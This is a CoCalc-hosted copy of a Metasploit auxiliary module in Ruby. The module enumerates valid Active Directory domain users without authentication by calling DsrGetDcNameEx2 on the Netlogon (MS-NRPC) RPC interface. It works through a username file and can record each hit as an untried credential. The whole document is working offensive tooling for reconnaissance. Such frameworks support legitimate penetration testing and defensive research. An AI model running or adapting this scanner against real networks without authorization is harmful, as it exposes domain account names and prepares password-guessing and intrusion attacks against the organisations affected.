CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/scanner/dcerpc/nrpc_enumusers.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Auxiliary::Report
8
include Msf::Auxiliary::Scanner
9
include Msf::Exploit::Remote::DCERPC
10
Netlogon = RubySMB::Dcerpc::Netlogon
11
@dport = nil
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'MS-NRPC Domain Users Enumeration',
18
'Description' => %q{
19
This module will enumerate valid Domain Users via no authentication against MS-NRPC interface.
20
It calls DsrGetDcNameEx2 to check if the domain user account exists or not. It has been tested with
21
Windows servers 2012, 2016, 2019 and 2022.
22
},
23
'Author' => [
24
'Haidar Kabibo <https://x.com/haider_kabibo>'
25
],
26
'References' => [
27
['URL', 'https://github.com/klsecservices/Publications/blob/master/A_journey_into_forgotten_Null_Session_and_MS-RPC_interfaces.pdf']
28
],
29
'License' => MSF_LICENSE,
30
'Notes' => {
31
'Stability' => [CRASH_SAFE],
32
'Reliability' => [],
33
'SideEffects' => []
34
}
35
)
36
)
37
register_options(
38
[
39
OptPort.new('RPORT', [false, 'The netlogon RPC port']),
40
OptPath.new('USER_FILE', [true, 'Path to the file containing the list of usernames to enumerate']),
41
OptBool.new('DB_ALL_USERS', [ false, 'Add all enumerated usernames to the database', false ])
42
]
43
)
44
end
45
46
def bind_to_netlogon_service
47
@dport = datastore['RPORT']
48
if @dport.nil? || @dport == 0
49
@dport = dcerpc_endpoint_find_tcp(datastore['RHOST'], Netlogon::UUID, '1.0', 'ncacn_ip_tcp')
50
fail_with(Failure::NotFound, 'Could not determine the RPC port used by the Microsoft Netlogon Server') unless @dport
51
end
52
handle = dcerpc_handle(Netlogon::UUID, '1.0', 'ncacn_ip_tcp', [@dport])
53
print_status("Binding to #{handle}...")
54
dcerpc_bind(handle)
55
end
56
57
def dsr_get_dc_name_ex2(username)
58
request = Netlogon.const_get('DsrGetDcNameEx2Request').new(
59
computer_name: nil,
60
account_name: username,
61
allowable_account_control_bits: 0x200,
62
domain_name: nil,
63
domain_guid: nil,
64
site_name: nil,
65
flags: 0x00000000
66
)
67
begin
68
raw_response = dcerpc.call(request.opnum, request.to_binary_s)
69
rescue Rex::Proto::DCERPC::Exceptions::Fault
70
fail_with(Failure::UnexpectedReply, "The Netlogon RPC request failed for username: #{username}")
71
end
72
Netlogon.const_get('DsrGetDcNameEx2Response').read(raw_response)
73
end
74
75
def report_username(domain, username)
76
service_data = {
77
address: datastore['RHOST'],
78
port: @dport,
79
service_name: 'netlogon',
80
protocol: 'tcp',
81
workspace_id: myworkspace_id
82
}
83
84
credential_data = {
85
origin_type: :service,
86
module_fullname: fullname,
87
username: username,
88
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
89
realm_value: domain
90
}.merge(service_data)
91
92
login_data = {
93
core: create_credential(credential_data),
94
status: Metasploit::Model::Login::Status::UNTRIED
95
}.merge(service_data)
96
97
create_credential_login(login_data)
98
end
99
100
def run_host(_ip)
101
usernames = load_usernames(datastore['USER_FILE'])
102
bind_to_netlogon_service
103
104
usernames.each do |username|
105
enumerate_user(username)
106
end
107
end
108
109
private
110
111
def load_usernames(file_path)
112
unless ::File.exist?(file_path)
113
fail_with(Failure::BadConfig, 'The specified USER_FILE does not exist')
114
end
115
116
usernames = []
117
::File.foreach(file_path) do |line|
118
usernames << line.strip
119
end
120
usernames
121
end
122
123
def enumerate_user(username)
124
response = dsr_get_dc_name_ex2(username)
125
if response.error_status == 0
126
print_good("#{username} exists -> DC: #{response.domain_controller_info.domain_controller_name.encode('UTF-8')}")
127
if datastore['DB_ALL_USERS']
128
report_username(response.domain_controller_info.domain_name.encode('UTF-8'), username)
129
end
130
else
131
print_error("#{username} does not exist")
132
end
133
end
134
end
135
136